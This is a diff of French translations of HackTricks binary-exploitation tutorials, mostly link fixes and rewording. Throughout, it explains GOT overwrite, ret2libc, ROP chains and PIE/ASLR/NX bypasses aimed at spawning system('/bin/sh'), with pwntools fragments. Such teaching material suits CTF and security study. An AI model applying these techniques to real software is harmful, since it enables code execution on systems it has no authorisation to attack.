Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -44,7 +44,7 @@ Vous pouvez voir les adresses PLT avec **`objdump -j .plt -d ./vuln_binary`**
 
 ## Entrées GOT de libc
 
-La **GOT de libc** est généralement compilée avec **RELRO partiel**, ce qui en fait une bonne cible pour cela, supposant qu'il est possible de déterminer son adresse ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+La **GOT de libc** est généralement compilée avec **RELRO partiel**, ce qui en fait une bonne cible pour cela, supposant qu'il est possible de déterminer son adresse ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 
 Les fonctions courantes de la libc vont appeler **d'autres fonctions internes** dont la GOT pourrait être écrasée afin d'obtenir une exécution de code.
 
@@ -52,7 +52,7 @@ Trouvez [**plus d'informations sur cette technique ici**](https://github.com/nob
 
 ### **Free2system**
 
-Dans les CTF d'exploitation de tas, il est courant de pouvoir contrôler le contenu des chunks et à un moment donné même écraser la table GOT. Un simple truc pour obtenir RCE si les gadgets ne sont pas disponibles est d'écraser l'adresse GOT de `free` pour pointer vers `system` et d'écrire dans un chunk `"/bin/sh"`. De cette façon, lorsque ce chunk est libéré, il exécutera `system("/bin/sh")`.
+Dans les exploitations de tas CTF, il est courant de pouvoir contrôler le contenu des chunks et à un moment donné même écraser la table GOT. Un simple truc pour obtenir RCE si les gadgets ne sont pas disponibles est d'écraser l'adresse GOT de `free` pour pointer vers `system` et d'écrire dans un chunk `"/bin/sh"`. De cette façon, lorsque ce chunk est libéré, il exécutera `system("/bin/sh")`.
 
 ### **Strlen2system**
 

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -24,10 +24,10 @@ Avec tant de techniques, il est bon d'avoir un schéma pour savoir quand chaque
 
 Il existe différentes manières de contrôler le flux d'un programme :
 
-- [**Débordements de Pile**](../stack-overflow/) en écrasant le pointeur de retour de la pile ou le EBP -> ESP -> EIP.
+- [**Débordements de Pile**](../stack-overflow/index.html) en écrasant le pointeur de retour de la pile ou le EBP -> ESP -> EIP.
 - Peut nécessiter d'abuser d'un [**Débordement d'Entier**](../integer-overflow.md) pour provoquer le débordement.
 - Ou via **Écritures Arbitraires + Écrire Quoi Où pour l'Exécution**.
-- [**Chaînes de Format**](../format-strings/)**:** Abuser de `printf` pour écrire un contenu arbitraire à des adresses arbitraires.
+- [**Chaînes de Format**](../format-strings/index.html)**:** Abuser de `printf` pour écrire du contenu arbitraire à des adresses arbitraires.
 - [**Indexation de Tableaux**](../array-indexing.md) : Abuser d'une indexation mal conçue pour pouvoir contrôler certains tableaux et obtenir une écriture arbitraire.
 - Peut nécessiter d'abuser d'un [**Débordement d'Entier**](../integer-overflow.md) pour provoquer le débordement.
 - **bof à WWW via ROP** : Abuser d'un débordement de tampon pour construire un ROP et pouvoir obtenir un WWW.
@@ -52,60 +52,60 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
 ### Objectif : Appeler une Fonction Existante
 
 - [**ret2win**](#ret2win) : Il y a une fonction dans le code que vous devez appeler (peut-être avec des paramètres spécifiques) afin d'obtenir le drapeau.
-- Dans un **bof régulier sans** [**PIE**](../common-binary-protections-and-bypasses/pie/) **et** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), vous devez simplement écrire l'adresse dans l'adresse de retour stockée dans la pile.
-- Dans un bof avec [**PIE**](../common-binary-protections-and-bypasses/pie/), vous devrez le contourner.
-- Dans un bof avec [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), vous devrez le contourner.
+- Dans un **bof régulier sans** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **et** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), vous devez simplement écrire l'adresse dans l'adresse de retour stockée dans la pile.
+- Dans un bof avec [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), vous devrez le contourner.
+- Dans un bof avec [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), vous devrez le contourner.
 - Si vous devez définir plusieurs paramètres pour appeler correctement la fonction **ret2win**, vous pouvez utiliser :
 - Une chaîne [**ROP**](#rop-and-ret2...-techniques) **s'il y a suffisamment de gadgets** pour préparer tous les paramètres.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (au cas où vous pourriez appeler cet appel système) pour contrôler de nombreux registres.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (au cas où vous pourriez appeler ce syscall) pour contrôler de nombreux registres.
 - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres.
-- Via un [**Écrire Quoi Où**](../arbitrary-write-2-exec/), vous pourriez abuser d'autres vulnérabilités (pas bof) pour appeler la fonction **`win`**.
+- Via un [**Écrire Quoi Où**](../arbitrary-write-2-exec/index.html), vous pourriez abuser d'autres vulnérabilités (pas de bof) pour appeler la fonction **`win`**.
 - [**Redirection de Pointeurs**](../stack-overflow/pointer-redirecting.md) : Dans le cas où la pile contient des pointeurs vers une fonction qui va être appelée ou vers une chaîne qui va être utilisée par une fonction intéressante (system ou printf), il est possible d'écraser cette adresse.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) peuvent affecter les adresses.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ou [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) peuvent affecter les adresses.
 - [**Variables Non Initialisées**](../stack-overflow/uninitialized-variables.md) : On ne sait jamais.
 
 ### Objectif : RCE
 
 #### Via shellcode, si nx désactivé ou mélangeant shellcode avec ROP :
 
-- [**(Stack) Shellcode**](#stack-shellcode) : Cela est utile pour stocker un shellcode dans la pile avant ou après avoir écrasé le pointeur de retour et ensuite **sauter vers lui** pour l'exécuter :
-- **Dans tous les cas, s'il y a un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** dans un bof régulier, vous devrez le contourner (leak).
-- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), il est possible de sauter à l'adresse de la pile car elle ne changera jamais.
-- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/), vous aurez besoin de techniques telles que [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) pour y sauter.
-- **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un [**ROP**](../rop-return-oriented-programing/) **pour appeler `memprotect`** et rendre une page `rwx`, afin de pouvoir ensuite **stocker le shellcode là-dedans** (en appelant read par exemple) et ensuite y sauter.
+- [**(Stack) Shellcode**](#stack-shellcode) : Cela est utile pour stocker un shellcode dans la pile avant ou après avoir écrasé le pointeur de retour et ensuite **y sauter** pour l'exécuter :
+- **Dans tous les cas, s'il y a un** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** dans un bof régulier, vous devrez le contourner (leak).
+- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), il est possible de sauter à l'adresse de la pile car elle ne changera jamais.
+- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), vous aurez besoin de techniques telles que [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) pour y sauter.
+- **Avec** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), vous devrez utiliser un [**ROP**](../rop-return-oriented-programing/index.html) **pour appeler `memprotect`** et rendre une page `rwx`, afin de pouvoir ensuite **y stocker le shellcode** (en appelant read par exemple) et ensuite y sauter.
 - Cela mélangera le shellcode avec une chaîne ROP.
 
-#### Via des appels système
+#### Via syscalls
 
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) : Utile pour appeler `execve` pour exécuter des commandes arbitraires. Vous devez être capable de trouver les **gadgets pour appeler l'appel système spécifique avec les paramètres**.
-- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) sont activés, vous devrez les contourner **afin d'utiliser les gadgets ROP** du binaire ou des bibliothèques.
-- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) peut être utile pour préparer le **ret2execve**.
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html) : Utile pour appeler `execve` pour exécuter des commandes arbitraires. Vous devez être capable de trouver les **gadgets pour appeler le syscall spécifique avec les paramètres**.
+- Si [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ou [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) sont activés, vous devrez les contourner **afin d'utiliser les gadgets ROP** du binaire ou des bibliothèques.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) peut être utile pour préparer le **ret2execve**.
 - Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) et [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) pour contrôler plusieurs registres.
 
 #### Via libc
 
-- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/) : Utile pour appeler une fonction d'une bibliothèque (généralement de **`libc`**) comme **`system`** avec des arguments préparés (par exemple, `'/bin/sh'`). Vous avez besoin que le binaire **charge la bibliothèque** avec la fonction que vous souhaitez appeler (libc généralement).
-- Si **compilé statiquement et sans** [**PIE**](../common-binary-protections-and-bypasses/pie/), l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
-- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et en connaissant la version de libc** chargée, l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
-- Avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **mais sans** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, en connaissant la libc et avec le binaire utilisant la fonction `system`**, il est possible de **`ret` à l'adresse de system dans le GOT** avec l'adresse de `'/bin/sh'` dans le paramètre (vous devrez le découvrir).
-- Avec [ASLR](../common-binary-protections-and-bypasses/aslr/) mais sans [PIE](../common-binary-protections-and-bypasses/pie/), en connaissant la libc et **sans que le binaire utilise la `system`** :
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html) : Utile pour appeler une fonction d'une bibliothèque (généralement de **`libc`**) comme **`system`** avec des arguments préparés (par exemple, `'/bin/sh'`). Vous avez besoin que le binaire **charge la bibliothèque** avec la fonction que vous souhaitez appeler (libc généralement).
+- Si **compilé statiquement et sans** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
+- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et en connaissant la version de libc** chargée, l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
+- Avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **mais sans** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, en connaissant la libc et avec le binaire utilisant la fonction `system`**, il est possible de **`ret` à l'adresse de system dans le GOT** avec l'adresse de `'/bin/sh'` dans le paramètre (vous devrez le découvrir).
+- Avec [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) mais sans [PIE](../common-binary-protections-and-bypasses/pie/index.html), en connaissant la libc et **sans que le binaire utilise la `system`** :
 - Utilisez [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) pour résoudre l'adresse de `system` et l'appeler.
-- **Contourner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) et calculer l'adresse de `system` et `'/bin/sh'` en mémoire.
-- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **et** [**PIE**](../common-binary-protections-and-bypasses/pie/) **et sans connaître la libc** : Vous devez :
-- Contourner [**PIE**](../common-binary-protections-and-bypasses/pie/).
-- Trouver la **version de `libc`** utilisée (leak quelques adresses de fonction).
+- **Contourner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) et calculer l'adresse de `system` et `'/bin/sh'` en mémoire.
+- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **et sans connaître la libc** : Vous devez :
+- Contourner [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
+- Trouver la **version de `libc`** utilisée (fuite de quelques adresses de fonction).
 - Vérifier les **scénarios précédents avec ASLR** pour continuer.
 
 #### Via EBP/RBP
 
 - [**Pivotement de Pile / EBP2Ret / Chaînage EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) : Contrôler l'ESP pour contrôler RET via l'EBP stocké dans la pile.
 - Utile pour les débordements de pile **off-by-one**.
-- Utile comme moyen alternatif de contrôler EIP tout en abusant d'EIP pour construire la charge utile en mémoire et ensuite sauter vers elle via EBP.
+- Utile comme une méthode alternative pour finir par contrôler l'EIP tout en abusant de l'EIP pour construire la charge utile en mémoire et ensuite y sauter via l'EBP.
 
 #### Divers
 
 - [**Redirection de Pointeurs**](../stack-overflow/pointer-redirecting.md) : Dans le cas où la pile contient des pointeurs vers une fonction qui va être appelée ou vers une chaîne qui va être utilisée par une fonction intéressante (system ou printf), il est possible d'écraser cette adresse.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) ou [**PIE**](../common-binary-protections-and-bypasses/pie/) peuvent affecter les adresses.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ou [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) peuvent affecter les adresses.
 - [**Variables Non Initialisées**](../stack-overflow/uninitialized-variables.md) : On ne sait jamais.
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -8,9 +8,9 @@ Le bit **No-Execute (NX)**, également connu sous le nom de **Execute Disable (X
 
 ## Contournements
 
-- Il est possible d'utiliser des techniques telles que [**ROP**](../rop-return-oriented-programing/) **pour contourner** cette protection en exécutant des morceaux de code exécutable déjà présents dans le binaire.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- Il est possible d'utiliser des techniques telles que [**ROP**](../rop-return-oriented-programing/index.html) **pour contourner** cette protection en exécutant des morceaux de code exécutable déjà présents dans le binaire.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 - **Ret2...**
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -9,7 +9,7 @@ Un binaire compilé en tant que PIE, ou **Position Independent Executable**, sig
 Le truc pour exploiter ces binaires réside dans l'exploitation des **adresses relatives**—les décalages entre les parties du programme restent les mêmes même si les emplacements absolus changent. Pour **contourner PIE, vous devez seulement divulguer une adresse**, généralement depuis la **pile** en utilisant des vulnérabilités comme les attaques par chaîne de format. Une fois que vous avez une adresse, vous pouvez calculer d'autres par leurs **décalages fixes**.
 
 Un indice utile pour exploiter les binaires PIE est que leur **adresse de base se termine généralement par 000** en raison des pages mémoire étant les unités de randomisation, de taille 0x1000 octets. Cet alignement peut être un **vérification critique si une exploitation ne fonctionne pas** comme prévu, indiquant si la bonne adresse de base a été identifiée.\
-Ou vous pouvez utiliser cela pour votre exploitation, si vous divulguez qu'une adresse est située à **`0x649e1024`**, vous savez que l'**adresse de base est `0x649e1000`** et à partir de là, vous pouvez simplement **calculer les décalages** des fonctions et des emplacements.
+Ou vous pouvez utiliser cela pour votre exploitation, si vous divulguez qu'une adresse est située à **`0x649e1024`** vous savez que l'**adresse de base est `0x649e1000`** et à partir de là vous pouvez simplement **calculer les décalages** des fonctions et des emplacements.
 
 ## Contournements
 
@@ -23,7 +23,7 @@ Pour contourner PIE, il est nécessaire de **divulguer une adresse du binaire ch
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Utiliser une vulnérabilité de **lecture arbitraire** telle que [**chaîne de format**](../../format-strings/) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Utiliser une vulnérabilité de **lecture arbitraire** telle que [**chaîne de format**](../../format-strings/index.html) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Références
 

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -4,12 +4,12 @@
 
 ## Informations de base
 
-Un débordement de tas est comme un [**débordement de pile**](../stack-overflow/) mais dans le tas. En gros, cela signifie qu'un espace a été réservé dans le tas pour stocker des données et que **les données stockées étaient plus grandes que l'espace réservé.**
+Un débordement de tas est comme un [**débordement de pile**](../stack-overflow/index.html) mais dans le tas. En gros, cela signifie qu'un espace a été réservé dans le tas pour stocker des données et que **les données stockées étaient plus grandes que l'espace réservé.**
 
-Dans les débordements de pile, nous savons que certains registres comme le pointeur d'instruction ou le cadre de pile vont être restaurés à partir de la pile et il pourrait être possible d'en abuser. Dans le cas des débordements de tas, il **n'y a pas d'informations sensibles stockées par défaut** dans le morceau de tas qui peut être débordé. Cependant, cela pourrait être des informations sensibles ou des pointeurs, donc la **criticité** de cette vulnérabilité **dépend** de **quelles données pourraient être écrasées** et de la manière dont un attaquant pourrait en abuser.
+Dans les débordements de pile, nous savons que certains registres comme le pointeur d'instruction ou le cadre de pile vont être restaurés à partir de la pile et qu'il pourrait être possible d'en abuser. Dans le cas des débordements de tas, il **n'y a pas d'informations sensibles stockées par défaut** dans le morceau de tas qui peut être débordé. Cependant, cela pourrait être des informations sensibles ou des pointeurs, donc la **criticité** de cette vulnérabilité **dépend** de **quelles données pourraient être écrasées** et de la manière dont un attaquant pourrait en abuser.
 
 > [!TIP]
-> Pour trouver les décalages de débordement, vous pouvez utiliser les mêmes modèles que dans les [**débordements de pile**](../stack-overflow/index.html#finding-stack-overflows-offsets).
+> Pour trouver les décalages de débordement, vous pouvez utiliser les mêmes motifs que dans les [**débordements de pile**](../stack-overflow/index.html#finding-stack-overflows-offsets).
 
 ### Débordements de pile vs Débordements de tas
 
@@ -29,7 +29,7 @@ Ensuite, certains de ces espaces réservés peuvent être **libérés**. La **li
 
 [**Sur cette page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html), il est possible de trouver une émulation de débordement de tas de base qui montre comment écraser le bit prev in use du morceau suivant et la position de la taille prev permet de **consolider un morceau utilisé** (en le faisant croire qu'il est inutilisé) et **ensuite de le réallouer** en étant capable d'écraser des données qui sont utilisées dans un autre pointeur également.
 
-Un autre exemple de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) montre un exemple très basique d'un CTF où un **débordement de tas** peut être abusé pour appeler la fonction gagnante afin de **récupérer le drapeau**.
+Un autre exemple de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) montre un exemple très basique d'un CTF où un **débordement de tas** peut être abusé pour appeler la fonction gagnante pour **obtenir le drapeau**.
 
 Dans l'exemple [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), il est possible de voir comment en abusant d'un débordement de tampon, il est possible d'**écraser dans un morceau voisin une adresse** où **des données arbitraires de l'utilisateur** vont être écrites.
 

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -1,35 +1,35 @@
-# ROP - Return Oriented Programming
+# ROP - Programmation Orientée Retour
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **Informations de base**
+## **Informations de Base**
 
-**Return-Oriented Programming (ROP)** est une technique d'exploitation avancée utilisée pour contourner des mesures de sécurité telles que **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans les bibliothèques chargées, connus sous le nom de **"gadgets"**. Chaque gadget se termine généralement par une instruction `ret` et effectue une petite opération, comme déplacer des données entre des registres ou effectuer des opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP.
+**Programmation Orientée Retour (ROP)** est une technique d'exploitation avancée utilisée pour contourner des mesures de sécurité telles que **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Au lieu d'injecter et d'exécuter du shellcode, un attaquant exploite des morceaux de code déjà présents dans le binaire ou dans des bibliothèques chargées, connus sous le nom de **"gadgets"**. Chaque gadget se termine généralement par une instruction `ret` et effectue une petite opération, comme déplacer des données entre des registres ou effectuer des opérations arithmétiques. En enchaînant ces gadgets, un attaquant peut construire un payload pour effectuer des opérations arbitraires, contournant ainsi efficacement les protections NX/DEP.
 
 ### Comment fonctionne ROP
 
-1. **Détournement de flux de contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un débordement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
-2. **Chaînage de gadgets** : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires.
-3. **Exécution du payload** : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
+1. **Détournement du Flux de Contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un débordement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
+2. **Enchaînement de Gadgets** : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela peut impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage ou opérations supplémentaires nécessaires.
+3. **Exécution du Payload** : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
 
 ### Outils
 
 Typiquement, les gadgets peuvent être trouvés en utilisant [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) ou directement à partir de **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
 
-## Exemple de chaîne ROP en x86
+## Exemple de Chaîne ROP en x86
 
 ### **x86 (32 bits) Conventions d'appel**
 
 - **cdecl** : L'appelant nettoie la pile. Les arguments de fonction sont poussés sur la pile dans l'ordre inverse (de droite à gauche). **Les arguments sont poussés sur la pile de droite à gauche.**
-- **stdcall** : Semblable à cdecl, mais le callee est responsable du nettoyage de la pile.
+- **stdcall** : Semblable à cdecl, mais l'appelé est responsable du nettoyage de la pile.
 
-### **Recherche de gadgets**
+### **Recherche de Gadgets**
 
 Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans le binaire ou ses bibliothèques chargées. Les gadgets qui nous intéressent sont :
 
-- `pop eax; ret` : Ce gadget extrait la valeur du haut de la pile dans le registre `EAX` et retourne ensuite, nous permettant de contrôler `EAX`.
-- `pop ebx; ret` : Semblable à ce qui précède, mais pour le registre `EBX`, permettant de contrôler `EBX`.
-- `mov [ebx], eax; ret` : Déplace la valeur dans `EAX` vers l'emplacement mémoire pointé par `EBX` et retourne ensuite. Cela est souvent appelé un **gadget write-what-where**.
+- `pop eax; ret` : Ce gadget extrait la valeur du haut de la pile dans le registre `EAX` et retourne, nous permettant de contrôler `EAX`.
+- `pop ebx; ret` : Semblable à ce qui précède, mais pour le registre `EBX`, permettant le contrôle de `EBX`.
+- `mov [ebx], eax; ret` : Déplace la valeur dans `EAX` vers l'emplacement mémoire pointé par `EBX` et retourne. Cela est souvent appelé un **gadget write-what-where**.
 - De plus, nous avons l'adresse de la fonction `system()` disponible.
 
 ### **Chaîne ROP**
@@ -37,7 +37,7 @@ Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans
 En utilisant **pwntools**, nous préparons la pile pour l'exécution de la chaîne ROP comme suit, visant à exécuter `system('/bin/sh')`, notez comment la chaîne commence par :
 
 1. Une instruction `ret` pour des raisons d'alignement (optionnel)
-2. Adresse de la fonction `system` (supposant ASLR désactivé et libc connue, plus d'infos dans [**Ret2lib**](ret2lib/))
+2. Adresse de la fonction `system` (supposant ASLR désactivé et libc connue, plus d'infos dans [**Ret2lib**](ret2lib/index.html))
 3. Espace réservé pour l'adresse de retour de `system()`
 4. Adresse de la chaîne `"/bin/sh"` (paramètre pour la fonction system)
 ```python
@@ -75,17 +75,17 @@ p.interactive()
 ```
 ## Chaîne ROP dans l'exemple x64
 
-### **Conventions d'appel x64 (64 bits)**
+### **x64 (64 bits) Conventions d'appel**
 
 - Utilise la convention d'appel **System V AMD64 ABI** sur les systèmes de type Unix, où les **six premiers arguments entiers ou pointeurs sont passés dans les registres `RDI`, `RSI`, `RDX`, `RCX`, `R8` et `R9`**. Les arguments supplémentaires sont passés sur la pile. La valeur de retour est placée dans `RAX`.
 - La convention d'appel **Windows x64** utilise `RCX`, `RDX`, `R8` et `R9` pour les quatre premiers arguments entiers ou pointeurs, avec des arguments supplémentaires passés sur la pile. La valeur de retour est placée dans `RAX`.
 - **Registres** : Les registres 64 bits incluent `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, et `R8` à `R15`.
 
-#### **Trouver des gadgets**
+#### **Trouver des Gadgets**
 
-Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre **RDI** (pour passer la chaîne **"/bin/sh"** comme argument à **system()**) et ensuite d'appeler la fonction **system()**. Nous supposerons que nous avons identifié les gadgets suivants :
+Pour notre objectif, concentrons-nous sur les gadgets qui nous permettront de définir le registre **RDI** (pour passer la chaîne **"/bin/sh"** comme argument à **system()**) et ensuite appeler la fonction **system()**. Nous supposerons que nous avons identifié les gadgets suivants :
 
-- **pop rdi; ret** : Déplace la valeur du haut de la pile dans **RDI** et retourne ensuite. Essentiel pour définir notre argument pour **system()**.
+- **pop rdi; ret** : Dépile la valeur du haut de la pile dans **RDI** et retourne ensuite. Essentiel pour définir notre argument pour **system()**.
 - **ret** : Un simple retour, utile pour l'alignement de la pile dans certains scénarios.
 
 Et nous connaissons l'adresse de la fonction **system()**.
@@ -131,7 +131,7 @@ Dans cet exemple :
 
 - Nous utilisons le gadget **`pop rdi; ret`** pour définir **`RDI`** à l'adresse de **`"/bin/sh"`**.
 - Nous sautons directement à **`system()`** après avoir défini **`RDI`**, avec l'adresse de **system()** dans la chaîne.
-- **`ret_gadget`** est utilisé pour l'alignement si l'environnement cible l'exige, ce qui est plus courant dans **x64** pour garantir un alignement correct de la pile avant d'appeler des fonctions.
+- **`ret_gadget`** est utilisé pour l'alignement si l'environnement cible l'exige, ce qui est plus courant en **x64** pour garantir un alignement correct de la pile avant d'appeler des fonctions.
 
 ### Alignement de la pile
 
@@ -154,8 +154,8 @@ Consultez la page suivante pour ces informations :
 
 ## Protections contre ROP
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/) : Ces protections rendent l'utilisation de ROP plus difficile car les adresses des gadgets changent entre les exécutions.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) : En cas de BOF, il est nécessaire de contourner les protections de la pile pour écraser les pointeurs de retour afin d'abuser d'une chaîne ROP.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) : Ces protections rendent l'utilisation de ROP plus difficile car les adresses des gadgets changent entre les exécutions.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) : En cas de BOF, il est nécessaire de contourner les canaris de pile pour écraser les pointeurs de retour afin d'abuser d'une chaîne ROP.
 - **Manque de gadgets** : S'il n'y a pas assez de gadgets, il ne sera pas possible de générer une chaîne ROP.
 
 ## Techniques basées sur ROP
@@ -184,7 +184,7 @@ rop-syscall-execv/
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
 - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
-- 64 bits, Pie et nx activés, pas de canary, écraser RIP avec une adresse `vsyscall` dans le seul but de revenir à l'adresse suivante dans la pile qui sera un écrasement partiel de l'adresse pour obtenir la partie de la fonction qui fuit le drapeau.
+- 64 bits, Pie et nx activés, pas de canari, écraser RIP avec une adresse `vsyscall` dans le seul but de revenir à l'adresse suivante dans la pile qui sera un écrasement partiel de l'adresse pour obtenir la partie de la fonction qui fuit le drapeau.
 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
 - arm64, pas d'ASLR, gadget ROP pour rendre la pile exécutable et sauter au shellcode dans la pile.
 

src/binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -111,9 +111,9 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
